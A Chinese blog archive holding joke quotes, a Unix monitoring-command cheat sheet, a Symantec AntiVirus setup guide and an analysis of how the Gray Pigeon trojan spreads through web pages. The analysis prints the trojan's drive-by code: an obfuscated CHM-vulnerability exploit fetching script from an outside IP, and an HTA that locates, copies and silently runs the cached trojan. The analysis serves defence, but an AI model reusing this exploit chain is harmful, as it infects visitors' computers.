Author Archives: Sean

加菲猫语录

Money is not everything. There’s MasterCard & Visa.
钞票不是万能的, 有时还需要信用卡

One should love animals. They are so tasty.
每个人都应该热爱动物, 因为它们很好吃

Save water. Shower with your girlfriend.
要节约用水, 尽量和女友一起洗澡

Love the neighbor. But don’t get caught.
要用心去爱你的邻居, 不过不要让她的老公知道

Behind every successful man, there is a woman.
And behind every unsuccessful man, there are two.
每个成功男人的背后, 都有一个女人. 每个不成功男人的背后, 都有两个

Every man should marry. After all, happiness is not the only thing in life.
再快乐的单身汉迟早也会结婚, 幸福不是永久的嘛

The wise never marry, and when they marry they become otherwise.
聪明人都是未婚的, 结婚的人很难再聪明起来

Success is a relative term. It brings so many relatives.
成功是一个相关名词, 他会给你带来很多不相关的亲戚 (联系)

Never put off the work till tomorrow what you can put off today.
不要等明天交不上差再找借口, 今天就要找好

Love is photogenic. It needs darkness to develop.
爱情就象照片, 需要大量的暗房时间来培养

Children in backseats cause accidents. Accidents in backseats cause children.
后排座位上的小孩会生出意外, 后排座位上的意外会生出小孩

Your future depends on your dreams. So go to sleep.
现在的梦想决定着你的将来, 所以还是再睡一会吧

There should be a better way to start a day than waking up every morning.
应该有更好的方式开始新一天, 而不是千篇一律的在每个上午都醒来

Hard work never killed anybody. But why take the risk?
努力工作不会导致死亡! 不过我不会用自己去证明

Work fascinates me. I can look at it for hours!
工作好有意思耶! 尤其是看着别人工作

God made relatives; Thank God we can choose our friends.
神决定了谁是你的亲戚, 幸运的是在选择朋友方面他给了你留了余地

When two’s company, three’s the result!
两个人的状态是不稳定的, 三个人才是!

A dress is like a barbed fence. It protects the premises without restricting the view.
服饰就象铁丝网, 它阻止你冒然行动但并不妨碍你尽情的观看

The more you learn, the more you know, the more you know, and the more you forget.
The more you forget, the less you know. So why bother to learn.
学的越多, 知道的越多, 知道的越多, 忘记的越多, 忘记的越多, 知道的越少, 为什么学来着

Unix常用监控和管理命令

ps:查看系统中的进程,Linux中可以使用ps -aux查看所有进程
参数w表示加宽显示的命令行,参数w可以写多次,通常最多写3次,表示加宽3次,这足以显示很长的命令行了。
例如:ps -auxwww
 
top:显示系统内存、cpu使用情况,并可自动刷新进程列表
 
vmstat:显示当前的内存使用情况
 
netstat:显示网络状况,使用参数p可以查看对应的进程号及程序名,
通常使用参数a(显示所有连接情况)和n(不反查域名和服务名),
例如:netstat -anp
 
查看服务器侦听情况,使用:
netstat -an | grep LISTEN
 
查看服务器已建立的连接,使用:
netstat -an | grep ESTABLISHED
 
ifconfig:查看(或设置)网络设备信息
ifconfig -a:查看所有网络设置信息
 
last:显示登录到服务器的情况以及服务器重启情况
 
df:显示硬盘空间及使用情况,Linux下可以带参数h,显示结果更人性化。例如:
df -h  硬盘空间按人性化显示
df -k  硬盘空间按KB显示
df -m  硬盘空间按MB显示
 
w:显示登录到服务器上的用户列表
 
以下几个命令仅针对Linux
 
lsof:显示当前打开的文件列表,包括建立的socket连接等。本命令可以用于程序员检查编写的程序打开的文件数。
 
sysctl:显示(或设置)系统内核参数
sysctl -a  显示所有内核参数
sysctl -w  参数名=参数值
例如:sysctl -w fs.file-max=10240 设置系统允许同时打开的最大文件数为10240。
 
内核参数fs.file-nr包括三个参数值,第一个参数表示系统中曾经同时打开过的文件数峰值,
第二个参数表示空闲(分配后已释放)的文件数,
第三个参数表示可以打开的最大文件数,其值等于fs.file-max。
 
当前打开的文件数 = 第一个参数值 – 第二个参数值
 
例如:
fs.file-nr = 977        223     10240
当前打开的文件数 = 977 – 233 = 744
 
设置内核参数时务必小心,如果设置不当会导致系统异常,甚至当机。
 
ulimit:显示(或设置)用户可以使用的资源限制
 
ulimit -a  显示用户可以使用的资源限制
 
ulimit unlimited  不限制用户可以使用的资源,但本设置对可打开的最大文件数(max open files)
和可同时运行的最大进程数(max user processes)无效
 
ulimit -n  <可以同时打开的文件数>  设置用户可以同时打开的最大文件数(max open files)
例如:ulimit -n 8192
如果本参数设置过小,对于并发访问量大的网站,可能会出现too many open files的错误
 
ulimit -u  <可以运行的最大并发进程数>  设置用户可以同时运行的最大进程数(max user processes)
例如:ulimit -u 1024

灰鸽子木马网页传播分析

最近中灰鸽子木马的人不少,分析一下灰鸽子的网页传播方式
黑鸽子会产生一个frame,如下:
 

<iframe src="http://www.qq.com/" width="800" height="600"></iframe> <script language=javascript>ie=’fucksnow’;ver=navigator.appVersion;if(!(ver.indexOf(‘NT 5.0′)==-1))ie=’nt’;if(!(ver.indexOf(‘Windows 98′)==-1)){ie=’98’;}location.href=ie+’.htm’;</script>

 
页面中嵌入的iframe是掩人耳目的,重要的不是ifrme部分,而是后面的javascrpit部分

<iframe src="http://www.qq.com/" width="800" height="600"></iframe>   //掩人耳目
<script language=javascript>
ie=’fucksnow’;                //定义变量ie=fucksnow
ver=navigator.appVersion;   //获得浏览器版本
if(!(ver.indexOf(‘NT 5.0′)==-1)) ie=’nt’;      //如果是2k系统则ie=nt
if(!(ver.indexOf(‘Windows 98′)==-1)) {ie=’98’;}   //定义变量ie=98
location.href=ie+’.htm’;    //重定向到 ie+’.htm’
</script>

 
佩服作者的细心,这三个htm:98.htm nt.htm 和fucksnow.htm只有一个地方不同,就是利用的chm文件的所在位置不一样,作者根据98 2k和 xp的帮助文件位置不同设置了几个不同的运行条件,从这方面看作者到做的非常好,比国内很多的软件商都要好得多
我们以fucksnow.htm为例做分析:如果直接查看fucksnow.htm的源代码可以看到里面似乎是乱码,其实不然,这是利用了IE解析Html代码的时候忽略空格的特性。我们把里面所有的空格去掉,再稍微整理,就可以看到下面的代码了(空格都被去掉了,代码有点乱)。
 

 
<SCRIPTlanguage=VScriptsrc="mmmmm.gif"></SCRIPT>               //加载mmmmm.gif,这个其实不是图片,后面会说到
<SCRIPTlanguage=VScriptsrc="xxxxx.pif"></SCRIPT>               //加载xxxxx.pif,灰鸽子木马
<HTML><BODY>
<divstyle="display:none">
//利用chm漏洞
<OBJECTid="news140"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
<PARAMname="Item1"value=’command;/windows/help/apps.chm’);</OBJECT>
<OBJECTid="news162"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAMname="Command"value="RelatedTopics,MENU"><PARAMname="Window"value="$global_ifl">
//利用chm漏洞执行mmmmm.gif里面的脚本程序
<PARAMname="Item1"value=’command;javascript:eval("document.write("<SCRIPTlanguage=JScriptsrc="http://218.106.9.136/inc/mmmmm.gif""+String.fromCharCode(62)+"</SCR"+"IPT"+String.fromCharCode(62))")’>
</OBJECT>
</div>
<SCRIPT>news140.Click();f1=1+1;f1=f1+2;setTimeout("news162.Click();",0);fu1=2;fu1=3+4;</SCRIPT></BODY></HTML>
//又是一个障眼法,重定向到http://xuemulove.com/a.gif,文件不存在
<iframesrc="http://xuemulove.com/a.gif"width="0"height="0">
</iframe><BODYonload="window.status=’页面已装载!’">
mmmmm.gif分析:代码隐藏原理和fucksnow.htm一样,替换掉空格后看到以下代码

document.write(‘<html><HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD></html>’);    //把弹出窗口移到x,y=4000,4000的位置,另你看不到
//利用ADODB写文件
try{BOSSYU=newActiveXObject("ADODB.Recordset");BOSSYU.Fields.Append("a",200,3000);BOSSYU.Open();BOSSYU.AddNew();BOSSYU.Fields("a").Value="
//写进去的代码
<HTML><BODYonLoad="window.moveTo(4000,4000);">
<HEAD><SCRIPTlanguage=JScript>window.moveTo(4000,4000);window.resizeTo(0,0);</SCRIPT></HEAD>
//利用HTA执行所需要的操作
<HTA:APPLICATIONID=kk3714CAPTION="no"BORDER="none"HEIGHT="0"SHOWINTASKBAR="no"WIDTH="0">
<BODYscroll="no"leftmargin="0"topmargin="0"marginwidth="0"marginheight="0">
<SCRIPTLANGUAGE="JavaScript">
//在打开fucksnow.htm的时候已经加载了xxxxx.pif文件,这时该文件已经在IE的缓存中。由于IE的一些特性,该文件会被保存为xxxxx[1].pif xxxxx[2].pif等类似的文件名,下面的程序子就是为了把他找出来,并执行他
function thanks(b){
try{
varc=new Enumerator(YUri.GetFolder(b).SubFolders);
for(;!c.atEnd();c.moveNext())
{var zI01=c.item().Path+"xxxxx[1].pif";
var z1=c.item().Path+"xxxxx[2].pif";
var f="C:boot.exe";
if(YUri.FileExists(zI01))     //找到木马文件xxxxx[1].pif
 {YUri.CopyFile(zI01,f)     //copy到 c:boot.exe
w00sh.Run(f,0,false);      //执行木马
v=1;break;}
if(YUri.FileExists(z1))        //同上,只不过文件名为xxxxx[2].pif
{YUri.CopyFile(z1,f);
w00sh.Run(f,0,false);
v=1;break;}
thanks(c.item());}}
catch(e){}}
function agree(){
path="c:boOt.bat";     //建立boot.bat批处理
v=kk3714.commandLine;
v=v.substring(1,v.length-2);
var_w=YUri.CreateTextFile(path);
_w.Write(‘@eCho oFf rn:ArnDeL"’+v+’"rnifeXiSt"’+v+’"gOtoArnDEl%0′);   //写命令到boot.bat里面,BAT里面的内容:
====================
@echo off
:a del v     //删除v , v为该执行文件c:bootlog.hta
if exist v goto a   //如果还没删除则转到 a,继续执行删除操作
del 0%    //自删除
====================
_w.close();
w00sh.Run(path,0,false);
window.close();
}
//获得IE缓存存放位置以查找xxxxx.pif
varv=0;
try{
varYUri=newActiveXObject("Scripting.FileSystemObject");
varw00sh=newActiveXObject("WScript.Shell");
varcache=w00sh.RegRead("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerShellFoldersCache");
}catch(e){}
function fish()
{try{if(v==0){thanks(cache+’..’);setTimeout("fish()",4000);}else{agree();}}catch(e){}}
fish();</SCRIPT></BODY></HTML>";
//存为c:bootlog.hta并执行
BOSSYU.Update();}catch(e){}try{BOSSYU.Save("c:bootlog.hta",0);}catch(e){}document.write(‘<objectid="bbs1"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="shortcut"><paramname=item1value=",c:bootlog.hta"></object>
<OBJECTid="bbs2"type="application/x-oleobject"classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><paramname="Command"value="Close"><paramname=kav"value="out"></oBjEct>
<ScRipt>c=1;bbs1.Click();c=1;c=c+5;bbs2.Click();c=c+1;</script>’);

基本上是利用了chm漏洞,如果系统打过所有补丁是不会中招的;临时禁用java script也可以防止。
 

Symantec AntiVirus防病毒服务器安装配置使用指南

放入Symantec AntiVirus安装光盘自启动(或点击应用程序setup)后,选择“安装管理员工具”。如下图所示。
 
再选择“安装Symantec系统中心”。如下图所示。
 
下一步,安装Symantec System Center。如下图所示
 
 
安装完成后请重新启动操作系统。如下图所示。
 
重新启动操作系统后运行Symantec系统中心控制台。如下图所示。
 
在Symantec系统中心控制台,选择“工具”→“AV服务器分装”。如下图所示。
 
 
下一步,安装Symantec AntiVirus服务器。如下图所示。
 
 
 
下一步,选择计算机,将网络里的计算机添加到目标计算机中。如下图所示。
***注意这里您的计算机必须要联接网络***
 
 
 
下一步,键入您要建立的Symantec AntiVirus服务器组名称。如下图所示。
 
 
输入Symantec AntiVirus服务器组的密码。如下图所示。
 
下一步,选择服务器程序的运行方式。如下图所示。
 
完成安装进度后,点击关闭后AV服务器就分装完毕。如下图所示。
 
在Symantec系统中心控制台,选择“工具”→“搜索服务”。如下图所示。
在“搜索服务”属性里选择“立即清除缓存信息”确定,将您建立的Symantec AntiVirus服务器组名称搜索出来。如下图所示。
 
在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“解除服务器组的锁定”。如下图所示。
 
在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“使服务器成为一级服务器”。如下图所示。

 
在Symantec系统中心控制台,选择您建立的Symantec AntiVirus服务器组名称,点击鼠标右键选择“所有任务”→“Symantec AntiVirus” →“客户端管理员专用选项”及“服务器调整选项”,根据您的要求定义。如下图所示。
 
关于使用Web在线安装方式:
需要在Symantec AntiVirus防病毒服务器上安装IIS服务,在“默认网站”点击鼠标右键选择“新建”→“虚拟目录”。如下图所示。
 
 
 
创建虚拟目录完成后,需要在IIS中的 MIME类型里注册一下.ini和.dat文件扩展名。否则Web在线安装时会提示文件下载错误! 如下图所示。
 
 
完成IIS配置后,编辑服务器上的C:Program FilesSAVCLT-INSTWEBINST文件夹的start.htm文件,将VALUE=www.servername.com改为您的服务器地址,将VALUE="webinstall"改为您的服务器虚拟目录。如下图所示。
将服务器上C:Program FilesSAVCLT-INSTWIN32文件夹里的文件拷贝到C:Program FilesSAVCLT-INSTWEBINSTwebinst目录里,修改files.ini文件。
举例:
[General]
FileCount=8
LaunchApplication=Setup.exe
InstallOptions=/s /v"/qb"
[Files]
File1=GRC.DAT
File2=Setup.exe
File3=Setup.ini
File4=Data1.cab
File5=0x0804.ini
File6=VDefHub.zip
File7=instmsiw.exe
File8=Symantec AntiVirus.msi

完成Symantec AntiVirus防病毒服务器所有配置后,客户端安装只需打开浏览器输入http://服务器地址/虚拟目录/就可进行Web方式在线安装。如下图所示。